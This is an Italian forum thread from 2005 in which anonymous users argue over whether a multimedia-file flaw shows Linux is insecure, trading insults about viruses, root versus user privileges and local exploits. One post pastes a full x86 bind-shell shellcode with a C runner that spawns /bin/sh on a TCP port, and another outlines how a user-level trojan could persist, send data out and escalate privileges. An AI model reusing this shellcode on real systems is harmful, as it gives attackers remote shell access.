-
Linux FallatoScritto daNon Autenticatoil 2005-09-29 00:13:00.0 alle 2005-09-29 00:13:00.0Capito linari ? non dovete aprire i vostri files multimediali
onde evitare di prendere un troian
-
Re: Linux FallatoScritto daNon Autenticatoil 2005-09-29 00:16:00.0 alle 2005-09-29 00:16:00.0
- Scritto da: Anonimo
> Capito linari ? non dovete aprire i vostri files
> multimediali
> onde evitare di prendere un troian
tre lettere : VLC (altro che quell'orrore di WMP )
-
Re: Linux FallatoScritto daNon Autenticatoil 2005-09-29 08:29:00.0 alle 2005-09-29 08:29:00.0DICO UNA SOLA COSA..la falla è stata già bella che corretta!!
-
-
Re: Linux Fallato
- Scritto da: Anonimo
> Capito linari ? non dovete aprire i vostri files
> multimediali
> onde evitare di prendere un troian
>
Eccolo il primo, è proprio difficile capire che qualsiasi software è pieno di bachi??
Ormai fare discussioni con certa gente è praticamente impossibile, analizzare lo storico delle falle scoperte, la tempestività con cui queste vengono chiuse...non può essere fonte di discussione con gente come questo signore...
-
Re: Linux Fallato
linux è il kernel.
prima di dar fiato alla tastiera informati che non sai niente ci ciò che stai parlando
==================================
Modificato dall'autore il 29/09/2005 0.17.32
-
Re: Linux FallatoScritto daNon Autenticatoil 2005-09-29 00:20:00.0 alle 2005-09-29 00:20:00.0
- Scritto da: Anonimo
> Capito linari ? non dovete aprire i vostri files
> multimediali
> onde evitare di prendere un troian
>
un troian che gira con i diritti utente... poi con calma mi spieghi cosa potrebbe combinare...
-
-
Re: Linux FallatoScritto daNon Autenticatoil 2005-09-29 00:26:00.0 alle 2005-09-29 00:26:00.0
- Scritto da: Anonimo
> cestinare il cestino?
Linux è pieno di exploits locali una volta compromesso l'accesso utente è una barzelletta ottenere l'accesso root
-
Re: Linux FallatoScritto daNon Autenticatoil 2005-09-29 00:44:00.0 alle 2005-09-29 00:44:00.0ce la racconti?
-
Re: Linux FallatoScritto daNon Autenticatoil 2005-09-29 00:46:00.0 alle 2005-09-29 00:46:00.0
- Scritto da: Anonimo
> ce la racconti?
sai che ci vuole a sbucare un cesso di linux io per lavoro
faccio il security assessment e di catorci linux ne buco
uno all'ora.
-
-
Re: Linux FallatoScritto daNon Autenticatoil 2005-09-29 00:52:00.0 alle 2005-09-29 00:52:00.0
- Scritto da: Anonimo
> - Scritto da: Anonimo
> > - Scritto da: Anonimo
> > > ce la racconti?
>
> > sai che ci vuole a sbucare un cesso di linux io
> > per lavoro faccio il security assessment e di
> > catorci linux ne buco uno all'ora.
>
> Uau, racconta racconta.
cè poco da raccontare linux è pieno di exploits locali
a cominciare dal kernel
http://www.securityfocus.com/bid/14967
http://www.securityfocus.com/bid/14609
http://www.securityfocus.com/bid/14785
http://www.securityfocus.com/bid/12195
http://www.securityfocus.com/bid/14787
just for the records la mia lan gira su OpenBSD
-
Re: Linux FallatoScritto daNon Autenticatoil 2005-09-29 01:42:00.0 alle 2005-09-29 01:42:00.0Se hai poco da raccontare perchè ti pavoneggi sul nulla?
Tu qui, tu li, spacchi qua e la.
Dai, raccontaci le tue audaci imprese.
-
-
-
Re: Linux FallatoScritto daNon Autenticatoil 2005-09-29 00:48:00.0 alle 2005-09-29 00:48:00.0
- Scritto da: Anonimo
>
> - Scritto da: Anonimo
> > ce la racconti?
>
> sai che ci vuole a sbucare un cesso di linux io
> per lavoro
> faccio il security assessment e di catorci linux
> ne buco
> uno all'ora.
grazie al cavolo...bucare un QUALSIASI .O. ÈFACILE....non sei tu il genio!
però in quanto a" prevenzione di virus"linux è molto meglio di windows..non puoi negarlo!virus per linux non se ne vedono(e se realmente sei un security saprai che il 90% dei server so linux)-
Re: Linux FallatoScritto daNon Autenticatoil 2005-09-29 00:55:00.0 alle 2005-09-29 00:55:00.0> grazie al cavolo...bucare un QUALSIASI .O.
> ÈFACILE....non sei tu il genio!
> però in quanto a" prevenzione di virus"linux è
> molto meglio di windows..non puoi negarlo!virus
> per linux non se ne vedono(e se realmente sei un
> security saprai che il 90% dei server so linux)
ma i server chi li tiene? non certo chi scrive virus. La maggior parte degli utenti linux o gestiscono server (e quindi non vanno a scrivere virus), o ci lavorano (e non scrivono virus) o sono seguaci dell'ideologia linux (ed ancora non scrivono virus). Windows è usato da molta più gente (90% contro 3%) e queste persone non sono maniache di Gates. Tra queste il numero di scrittori di virus aumenta. Secondo te quante persone cercano ogni giorno di scrivere virus per linux?
-
Re: Linux FallatoScritto daNon Autenticatoil 2005-09-29 01:00:00.0 alle 2005-09-29 01:00:00.0- Scritto da: Anonimo
> > grazie al cavolo...bucare un QUALSIASI .O.
> > ÈFACILE....non sei tu il genio!
> > però in quanto a" prevenzione di virus"linux è
> > molto meglio di windows..non puoi negarlo!virus
> > per linux non se ne vedono(e se realmente sei un
> > security saprai che il 90% dei server so linux)
> ma i server chi li tiene? non certo chi scrive
> virus. La maggior parte degli utenti linux o
> gestiscono server (e quindi non vanno a scrivere
> virus), o ci lavorano (e non scrivono virus) o
> sono seguaci dell'ideologia linux (ed ancora non
> scrivono virus).
Io conosco un sacco di utenti linux che per lavoro fanno i programmatori. E altri che non fanno sulla di informatico... Ti sembrera' strano ...
> Windows è usato da molta più
> gente (90% contro 3%) e queste persone non sono
> maniache di Gates. Tra queste il numero di
> scrittori di virus aumenta. Secondo te quante
> persone cercano ogni giorno di scrivere virus per
> linux?
In un momento come questo al contrario un virus per linux che si doffondesse darebbe un sacco di fama al suo creatore, quindi credo che un po' ce ne siano.
-
Re: Linux FallatoScritto daNon Autenticatoil 2005-09-29 01:02:00.0 alle 2005-09-29 01:02:00.0> In un momento come questo al contrario un virus
> per linux che si doffondesse darebbe un sacco di
> fama al suo creatore, quindi credo che un po' ce
> ne siano.
è vero, gli darebbe fama ma sono sempre pochi per crearne tanti e solo creandone tanti si riesce alla fine a crearne uno buono.
E' solo statistica, più utenza, più scrittori di virus, più virus e più virus cattivi
-
Re: Linux FallatoScritto daNon Autenticatoil 2005-09-29 01:06:00.0 alle 2005-09-29 01:06:00.0- Scritto da: Anonimo
> > In un momento come questo al contrario un virus
> > per linux che si doffondesse darebbe un sacco di
> > fama al suo creatore, quindi credo che un po' ce
> > ne siano.
> è vero, gli darebbe fama ma sono sempre pochi per
> crearne tanti e solo creandone tanti si riesce
> alla fine a crearne uno buono.
> E' solo statistica, più utenza, più scrittori di
> virus, più virus e più virus cattivi
Non credo che sia cosi', dal momento che i unix e cloni sono su internet da molto prima di windows credo che d i ore/uomo di programmazione ce ne siano state parecchie, anche cosididerando che su 10.000 copie di windows a 64 bit sono nati diversi virus inpoche settimane...
Continuo a pensare che windows sia intrinsecamente mano sicuro.
-
-
-
-
-
-
-
-
-
Re: Linux FallatoScritto daNon Autenticatoil 2005-09-29 00:24:00.0 alle 2005-09-29 00:24:00.0
- Scritto da: Anonimo
> un troian che gira con i diritti utente... poi
> con calma mi spieghi cosa potrebbe combinare...
puo cancellarti la posta elettronica locale sputtanarti la configurazione e caricare un piccolo demone che parte ogni volta che ti logghi,puo spedire la configurazione del tuo linux a qualche server e con calma puo iniettarti un'exploit locale per tentare una scalata di privilegi.
poi ti piazza un lkm e a quel punto hai il pc zombizzato
-
Re: Linux FallatoScritto daNon Autenticatoil 2005-09-29 00:36:00.0 alle 2005-09-29 00:36:00.0- Scritto da: Anonimo
> e caricare un
> piccolo demone che parte ogni volta che ti
> logghi
Un demone che gira con l'account utente?
Che ti sei bevuto?-
Re: Linux Fallato
- Scritto da: Anonimo
>
> Un demone che gira con l'account utente?
> Che ti sei bevuto?
shhhhhhh non tentare di spiegarglielo, meglio tacere a farlo parlare
-
-
Re: Linux FallatoScritto daNon Autenticatoil 2005-09-29 00:42:00.0 alle 2005-09-29 00:42:00.0
- Scritto da: frizzo
> > shhhhhhh non tentare di spiegarglielo, meglio
> > tacere a farlo parlare
>
> ragazzi sono sempre peggio sti qua...
cavolo anche su linux prolificano gli utonzi
Tomcat gira con l'accesso utente twisted matrix libreria python di rete gira pure lei senza accesso root.
i pannelli di controllo dei web hosters tipo cpanel non girano con l'accesso root e cosi via.
devo continuare ?
-
Re: Linux Fallato
- Scritto da: Anonimo
>
> cavolo anche su linux prolificano gli utonzi
>
> Tomcat gira con l'accesso utente twisted matrix
> libreria python di rete gira pure lei senza
> accesso root.
> i pannelli di controllo dei web hosters tipo
> cpanel non girano con l'accesso root e cosi via.
> devo continuare ?
Sul fatto che possano essere fatti danni non ci piove, ma sul fatto che SICURAMENTe si riesce a:
1)installare un demone di logging
2)essere attaccati
3)usare un exploit locale per scalare i provilegi
4)avere pieno accesso alla macchina
avrei qualcosa da ridire...
C'è la possibilità vero, ma chi ha scritto il commento sembrava volesse dipingere questo come uno scenario probabile al 100%...ma non fatemi ridere!
-
-
-
-
Re: Linux FallatoScritto daNon Autenticatoil 2005-09-29 00:39:00.0 alle 2005-09-29 00:39:00.0
- Scritto da: Anonimo
> Un demone che gira con l'account utente?
> Che ti sei bevuto?
tu che ti sei bevuto basta utilizzare porte superiori a 1024
e apri quello che vuoi
l'accesso root serve solo per i servizi privilegiati la manipolazione dei datagrammi socket e altre diavolerie low level.
poi dicono che i winzozzari sono utonti,so piu cose io del tuo linux che tu
-
-
Re: Linux FallatoScritto daNon Autenticatoil 2005-09-29 00:55:00.0 alle 2005-09-29 00:55:00.0
- Scritto da: Anonimo
> Ahem...
>
> :~$ iptables
>
> bash: iptables: command not found
yawn
una shellcode che binda sulla porta 2000 in scioltezza
2k di binario pulito senza chiamate a libc
ciao bello
char code[] =
"\x31\xdb" // xor ebx, ebx
"\xf7\xe3" // mul ebx
"\xb0\x66" // mov al, 102
"\x53" // push ebx
"\x43" // inc ebx
"\x53" // push ebx
"\x43" // inc ebx
"\x53" // push ebx
"\x89\xe1" // mov ecx, esp
"\x4b" // dec ebx
"\xcd\x80" // int 80h
"\x89\xc7" // mov edi, eax
"\x52" // push edx
"\x66\x68\x4e\x20" // push word 8270
"\x43" // inc ebx
"\x66\x53" // push bx
"\x89\xe1" // mov ecx, esp
"\xb0\xef" // mov al, 239
"\xf6\xd0" // not al
"\x50" // push eax
"\x51" // push ecx
"\x57" // push edi
"\x89\xe1" // mov ecx, esp
"\xb0\x66" // mov al, 102
"\xcd\x80" // int 80h
"\xb0\x66" // mov al, 102
"\x43" // inc ebx
"\x43" // inc ebx
"\xcd\x80" // int 80h
"\x50" // push eax
"\x50" // push eax
"\x57" // push edi
"\x89\xe1" // mov ecx, esp
"\x43" // inc ebx
"\xb0\x66" // mov al, 102
"\xcd\x80" // int 80h
"\x89\xd9" // mov ecx, ebx
"\x89\xc3" // mov ebx, eax
"\xb0\x3f" // mov al, 63
"\x49" // dec ecx
"\xcd\x80" // int 80h
"\x41" // inc ecx
"\xe2\xf8" // loop lp
"\x51" // push ecx
"\x68\x6e\x2f\x73\x68" // push dword 68732f6eh
"\x68\x2f\x2f\x62\x69" // push dword 69622f2fh
"\x89\xe3" // mov ebx, esp
"\x51" // push ecx
"\x53" // push ebx
"\x89\xe1" // mov ecx, esp
"\xb0\xf4" // mov al, 244
"\xf6\xd0" // not al
"\xcd\x80"; // int 80h
main() {
void (*a)() = (void *)code;
int i;
printf("size: %d bytes\n", strlen(code));
printf("Testing for cntrl characters.. ");
for(i=0;i<strlen(code);i++)
if(iscntrl(code[i])) printf("FAILED\n"), exit(255);
printf("PASSED\n");
a();
}-
Re: Linux Fallatoe con questo hai dimostrato che un utente può aprire una porta > 1024.
e l'acqua calda dove l'hai messa?-
Re: Linux FallatoScritto daNon Autenticatoil 2005-09-29 01:15:00.0 alle 2005-09-29 01:15:00.0
- Scritto da: godzilla
> e con questo hai dimostrato che un utente può
> aprire una porta > 1024.
> e l'acqua calda dove l'hai messa?
un virus su linux fa danni anche col semplice account user
punto. l'acqua calda riprenditela
-
Re: Linux FallatoScritto daNon Autenticatoil 2005-09-29 01:17:00.0 alle 2005-09-29 01:17:00.0- Scritto da: Anonimo
> - Scritto da: godzilla
> > e con questo hai dimostrato che un utente può
> > aprire una porta > 1024.
> > e l'acqua calda dove l'hai messa?
> un virus su linux fa danni anche col semplice
> account user
> punto. l'acqua calda riprenditela
Al massimo fa danno al singolo account e non al sistema, comunque scrivilo questo virus che vediamo cosa fa'.
-
Re: Linux FallatoÈ come criticare chi fuma perchè può prendersi il cancro quando giornalmente ci si sottopone a supposte di uranio impoverito.
Non prenderla come cosa personale, ma personalmente trovo questo atteggiamento piuttosto ridicolo.
-
Re: Linux Fallato
- Scritto da: Anonimo
>
> - Scritto da: godzilla
> > e con questo hai dimostrato che un utente può
> > aprire una porta > 1024.
> > e l'acqua calda dove l'hai messa?
>
> un virus su linux fa danni anche col semplice
> account user
> punto. l'acqua calda riprenditela
>
>
errore. fa danni con l'account user all'account user.
se io lancio un demone in user space, a meno di falle del kernel, quel demone può aprirmi 50000 porte TCP ma rimarrà in user space. ergo il tuo esempio non serve a una fava, soprattutto perché va eseguito in locale.
allora facciamo così, prendo a martellate un server openbsd e dimostro che openbsd non è sicuro...
compriende?-
Re: Linux FallatoScritto daNon Autenticatoil 2005-09-29 01:26:00.0 alle 2005-09-29 01:26:00.0
>
> errore. fa danni con l'account user all'account
> user.
> se io lancio un demone in user space, a meno di
> falle del kernel, quel demone può aprirmi 50000
> porte TCP ma rimarrà in user space. ergo il tuo
> esempio non serve a una fava, soprattutto perché
> va eseguito in locale.
>
Certo, intanto però tramite quell'account compromesso, può utilizzare quella macchina per lanciare attacchi verso altri host, o essere usato come zombie per lanciare attacchi DDos. Non necessariamente per fare ciò hai bisogno di essere root.
Per cui non mi pare proprio una cosa da niente.
-
Re: Linux Fallato
- Scritto da: Anonimo
>
> >
> > errore. fa danni con l'account user all'account
> > user.
> > se io lancio un demone in user space, a meno di
> > falle del kernel, quel demone può aprirmi 50000
> > porte TCP ma rimarrà in user space. ergo il tuo
> > esempio non serve a una fava, soprattutto perché
> > va eseguito in locale.
> >
>
> Certo, intanto però tramite quell'account
> compromesso, può utilizzare quella macchina per
> lanciare attacchi verso altri host, o essere
> usato come zombie per lanciare attacchi DDos. Non
> necessariamente per fare ciò hai bisogno di
> essere root.
a parte che è ESATTAMENTE quello che fa qualunque macchina windows di questi tempi se la connetti ad Internet per più di 10 minuti senza protezioni, non mi hai ancora dimostrato come questo è dannoso al sistema. stai parlando d'altro e per ipotesi.
> Per cui non mi pare proprio una cosa da niente.
vabè, ho capito che non hai niente da fare domani mattina... beato te che sei in ferie. io me ne vado a letto.-
Re: Linux FallatoScritto daNon Autenticatoil 2005-09-29 01:33:00.0 alle 2005-09-29 01:33:00.0
> >
> > Certo, intanto però tramite quell'account
> > compromesso, può utilizzare quella macchina per
> > lanciare attacchi verso altri host, o essere
> > usato come zombie per lanciare attacchi DDos.
> Non
> > necessariamente per fare ciò hai bisogno di
> > essere root.
>
> a parte che è ESATTAMENTE quello che fa qualunque
> macchina windows di questi tempi se la connetti
> ad Internet per più di 10 minuti senza
> protezioni, non mi hai ancora dimostrato come
> questo è dannoso al sistema. stai parlando
> d'altro e per ipotesi.
Per ipotesi ?
Cosa intendi per dannoso? Per me è un danno se i miei sistemi venissero usati per lanciare attacchi verso altre macchine, visto che in tal caso io sarei il responsabile e potrei pagare eventuali danni arrecati a terzi.
Credo dovresti imparare qualche nozione riguardo alla sicurezza informatica, il quale è un aspetto molto più "globale" di ciò che pensi.
>
> > Per cui non mi pare proprio una cosa da niente.
>
> vabè, ho capito che non hai niente da fare domani
> mattina... beato te che sei in ferie. io me ne
> vado a letto.
Non hai argomentazioni con cui controbattere e quindi vai a letto, yeah!
-
Re: Linux Fallato
- Scritto da: Anonimo
>
> > >
> > > Certo, intanto però tramite quell'account
> > > compromesso, può utilizzare quella macchina
> per
> > > lanciare attacchi verso altri host, o essere
> > > usato come zombie per lanciare attacchi DDos.
> > Non
> > > necessariamente per fare ciò hai bisogno di
> > > essere root.
> >
> > a parte che è ESATTAMENTE quello che fa
> qualunque
> > macchina windows di questi tempi se la connetti
> > ad Internet per più di 10 minuti senza
> > protezioni, non mi hai ancora dimostrato come
> > questo è dannoso al sistema. stai parlando
> > d'altro e per ipotesi.
>
> Per ipotesi ?
> Cosa intendi per dannoso? Per me è un danno se i
> miei sistemi venissero usati per lanciare
> attacchi verso altre macchine, visto che in tal
> caso io sarei il responsabile e potrei pagare
> eventuali danni arrecati a terzi.
credevo che si parlasse di compromissione del sistema: del resto il tuo (?) shellcode andava eseguito in locale. mi sono perso qualche passaggio? saresti così gentile da indicarmi dove e quando?
> Credo dovresti imparare qualche nozione riguardo
> alla sicurezza informatica, il quale è un aspetto
> molto più "globale" di ciò che pensi.
ahahahahahahahahah
lasciamo perdere, va'... un giorno (se hai la bontà di presentarti) ti spiego come mi guadagno il pane.
> >
> > > Per cui non mi pare proprio una cosa da
> niente.
> >
> > vabè, ho capito che non hai niente da fare
> domani
> > mattina... beato te che sei in ferie. io me ne
> > vado a letto.
>
> Non hai argomentazioni con cui controbattere e
> quindi vai a letto, yeah!
>
sì sì, infatti. certo.
-
Re: Linux FallatoScritto daNon Autenticatoil 2005-09-29 01:43:00.0 alle 2005-09-29 01:43:00.0
> > Cosa intendi per dannoso? Per me è un danno se i
> > miei sistemi venissero usati per lanciare
> > attacchi verso altre macchine, visto che in tal
> > caso io sarei il responsabile e potrei pagare
> > eventuali danni arrecati a terzi.
>
> credevo che si parlasse di compromissione del
> sistema: del resto il tuo (?) shellcode andava
> eseguito in locale. mi sono perso qualche
> passaggio? saresti così gentile da indicarmi dove
> e quando?
>
Non sono il tipo del shellcode, tanto per cominciare...
Il mio intervento era solo per sottolineare che non mi pare una cosa da niente che un account utente venga compresso. Il come un account venga compromesso è un altro discorso, puo' anche sfruttare una vulnerabilità come in quella di Realplayer, o di qualche altra applicazione client se non patchata.
> > Credo dovresti imparare qualche nozione riguardo
> > alla sicurezza informatica, il quale è un
> aspetto
> > molto più "globale" di ciò che pensi.
>
> ahahahahahahahahah
> lasciamo perdere, va'... un giorno (se hai la
> bontà di presentarti) ti spiego come mi guadagno
> il pane.
>
Si infatti, sei il solito fanfarone che fa cacciare i soldi a qualche manager sulla 60na che non capisce una mazza di sicurezza e beve tutte le fesserie che gli dici.
> > >
> > > > Per cui non mi pare proprio una cosa da
> > niente.
> > >
> > > vabè, ho capito che non hai niente da fare
> > domani
> > > mattina... beato te che sei in ferie. io me ne
> > > vado a letto.
> >
> > Non hai argomentazioni con cui controbattere e
> > quindi vai a letto, yeah!
> >
>
> sì sì, infatti. certo.
Infatti , C.V.D-
Re: Linux Fallato
- Scritto da: Anonimo
>
>
>
> > > Cosa intendi per dannoso? Per me è un danno
> se i
> > > miei sistemi venissero usati per lanciare
> > > attacchi verso altre macchine, visto che in
> tal
> > > caso io sarei il responsabile e potrei pagare
> > > eventuali danni arrecati a terzi.
> >
> > credevo che si parlasse di compromissione del
> > sistema: del resto il tuo (?) shellcode andava
> > eseguito in locale. mi sono perso qualche
> > passaggio? saresti così gentile da indicarmi
> dove
> > e quando?
> >
>
> Non sono il tipo del shellcode, tanto per
> cominciare...
> Il mio intervento era solo per sottolineare che
> non mi pare una cosa da niente che un account
> utente venga compresso. Il come un account venga
> compromesso è un altro discorso, puo' anche
> sfruttare una vulnerabilità come in quella di
> Realplayer, o di qualche altra applicazione
> client se non patchata.
forse non ci siamo capiti.
per aprire in ascolto una porta > 2000 non c'è nemmeno bisogno di uno shellcode. bastano 5 righe di perl. non per questo il sistema su cui è stato aperta una porta TCP è insicuro. che diamine, saprei farlo anche in Java: allora è insicura la virtual machine?
e ti faccio notare che si parla sempre di presunti exploit locali.
> > > Credo dovresti imparare qualche nozione
> riguardo
> > > alla sicurezza informatica, il quale è un
> > aspetto
> > > molto più "globale" di ciò che pensi.
> >
> > ahahahahahahahahah
> > lasciamo perdere, va'... un giorno (se hai la
> > bontà di presentarti) ti spiego come mi guadagno
> > il pane.
> >
>
> Si infatti, sei il solito fanfarone che fa
> cacciare i soldi a qualche manager sulla 60na che
> non capisce una mazza di sicurezza e beve tutte
> le fesserie che gli dici.
ah, ma allora siete almeno in due ad offendere gratuitamente e senza presentarvi... è questo il vostro grado di civiltà?
> > > >
> > > > > Per cui non mi pare proprio una cosa da
> > > niente.
> > > >
> > > > vabè, ho capito che non hai niente da fare
> > > domani
> > > > mattina... beato te che sei in ferie. io me
> ne
> > > > vado a letto.
> > >
> > > Non hai argomentazioni con cui controbattere e
> > > quindi vai a letto, yeah!
> > >
> >
> > sì sì, infatti. certo.
>
> Infatti , C.V.D
mi sa che devo proprio farlo, non capisco perché alle 2 meno 10 sto ancora qui a perder tempo con gente come te.
buona notte.-
Re: Linux FallatoScritto daNon Autenticatoil 2005-09-29 01:51:00.0 alle 2005-09-29 01:51:00.0
- Scritto da: godzilla
> mi sa che devo proprio farlo, non capisco perché
> alle 2 meno 10 sto ancora qui a perder tempo con
> gente come te.
>
> buona notte.
Sei bravo ad arrampicarti sugli specchi, complimentoni.. a nanna, grazie.-
Re: Linux FallatoScritto daNon Autenticatoil 2005-09-29 01:52:00.0 alle 2005-09-29 01:52:00.0
- Scritto da: Anonimo
> Sei bravo ad arrampicarti sugli specchi,
> complimentoni.. a nanna, grazie.
quoto
Godzilla mi dispiace ma stasera hai fatto la figura del lamerone
-
Re: Linux FallatoScritto daNon Autenticatoil 2005-09-29 01:55:00.0 alle 2005-09-29 01:55:00.0Detto da te, è un complimento. Singifica che è sulla strada giusta. Adieu, perditempo.
-
-
-
Re: Linux FallatoScritto daNon Autenticatoil 2005-09-29 01:52:00.0 alle 2005-09-29 01:52:00.0Ma lasciali perdere, parlano solo perchè non hanno di meglio da fare, ma pensi che un vero esperto di sicurezza si comporterebbe in quel modo?
Ha postato uno shellcode che nemmeno ha compreso del tutto. E parla di sicurezza, lui, quello che spacca tutto, fa tutto, ma per ora ha solo chiaccherato.
BLA BLA BLA.
Sto forum sembra sempre di più punto-demenza.it
non c'è più nulla da imparare qui.-
Re: Linux FallatoScritto daNon Autenticatoil 2005-09-29 01:56:00.0 alle 2005-09-29 01:56:00.0
- Scritto da: Anonimo
> Ha postato uno shellcode che nemmeno ha compreso
> del tutto. E parla di sicurezza, lui, quello che
> spacca tutto, fa tutto, ma per ora ha solo
> chiaccherato.
Se ci tieni a vedermi all'opera versami sul conto
15.000 EU e ti fo vedere come si bucano i linuzzetti
> BLA BLA BLA.
>
> Sto forum sembra sempre di più punto-demenza.it
> non c'è più nulla da imparare qui.
ecco bravo ora spegni la luce e dormi.
-
-
-
-
-
-
-
-
-
-
-
Re: Linux FallatoScritto daNon Autenticatoil 2005-09-29 01:04:00.0 alle 2005-09-29 01:04:00.0
- Scritto da: Anonimo
>
> - Scritto da: Anonimo
> > Ahem...
> >
> > :~$ iptables
> >
> > bash: iptables: command not found
>
> yawn
> una shellcode che binda sulla porta 2000 in
> scioltezza
> 2k di binario pulito senza chiamate a libc
> ciao bello
Peccato che la porta sia la 20000, non la 2000
Ti fai bello con gli exploit di altri, e non sai neanche come funzionano e se la vulnerabilita' è stata patchata o meno (indovina un pò?)-
Re: Linux FallatoScritto daNon Autenticatoil 2005-09-29 01:19:00.0 alle 2005-09-29 01:19:00.0
- Scritto da: Anonimo
> Peccato che la porta sia la 20000, non la 2000
> Ti fai bello con gli exploit di altri, e non sai
> neanche come funzionano e se la vulnerabilita' è
> stata patchata o meno (indovina un pò?)
mi figlio a 14 anni si compila gli shellcode in gdb
sto imparando da lui
-
Re: Linux FallatoScritto daNon Autenticatoil 2005-09-29 01:20:00.0 alle 2005-09-29 01:20:00.0- Scritto da: Anonimo
> - Scritto da: Anonimo
> > Peccato che la porta sia la 20000, non la 2000
>
> > Ti fai bello con gli exploit di altri, e non sai
> > neanche come funzionano e se la vulnerabilita' è
> > stata patchata o meno (indovina un pò?)
> mi figlio a 14 anni si compila gli shellcode in
> gdb
> sto imparando da lui
E com'e' che no ha ancora scitto virus per linux ?
-
Re: Linux Fallato
- Scritto da: Anonimo
>
> - Scritto da: Anonimo
> > Peccato che la porta sia la 20000, non la 2000
>
> > Ti fai bello con gli exploit di altri, e non sai
> > neanche come funzionano e se la vulnerabilita' è
> > stata patchata o meno (indovina un pò?)
>
> mi figlio a 14 anni si compila gli shellcode in
> gdb
> sto imparando da lui
e scommetto che a quest'ora di notte ti sta aiutando a scegliere quale postare... ma va va va...-
Re: Linux FallatoScritto daNon Autenticatoil 2005-09-29 01:27:00.0 alle 2005-09-29 01:27:00.0
- Scritto da: godzilla
> e scommetto che a quest'ora di notte ti sta
> aiutando a scegliere quale postare... ma va va
> va...
il mio pargoletto dorme beato da un bel pezzo
sarebbe ora che ci vai anche te
-
Re: Linux Fallato
- Scritto da: Anonimo
>
> - Scritto da: godzilla
> > e scommetto che a quest'ora di notte ti sta
> > aiutando a scegliere quale postare... ma va va
> > va...
>
> il mio pargoletto dorme beato da un bel pezzo
> sarebbe ora che ci vai anche te
di solito prima delle offese gratuite passa qualche ora di discussione.
evidentemente ho trovato un interlocutore particolarmente maleducato. capita.
-
-
-
-
-
-
-
-
-
-
-
Re: Linux Fallato
- Scritto da: Anonimo
> Capito linari ? non dovete aprire i vostri files
> multimediali
> onde evitare di prendere un troian
>
Mica siamo su windows, io li vedo tranquillamente i file multimediali eheheh
-
Re: Linux Fallatocerto, io apro ogni giorno file formato realtext :°D mica come te che ti riempi il pc di spyware guardandoti i siti porno...
-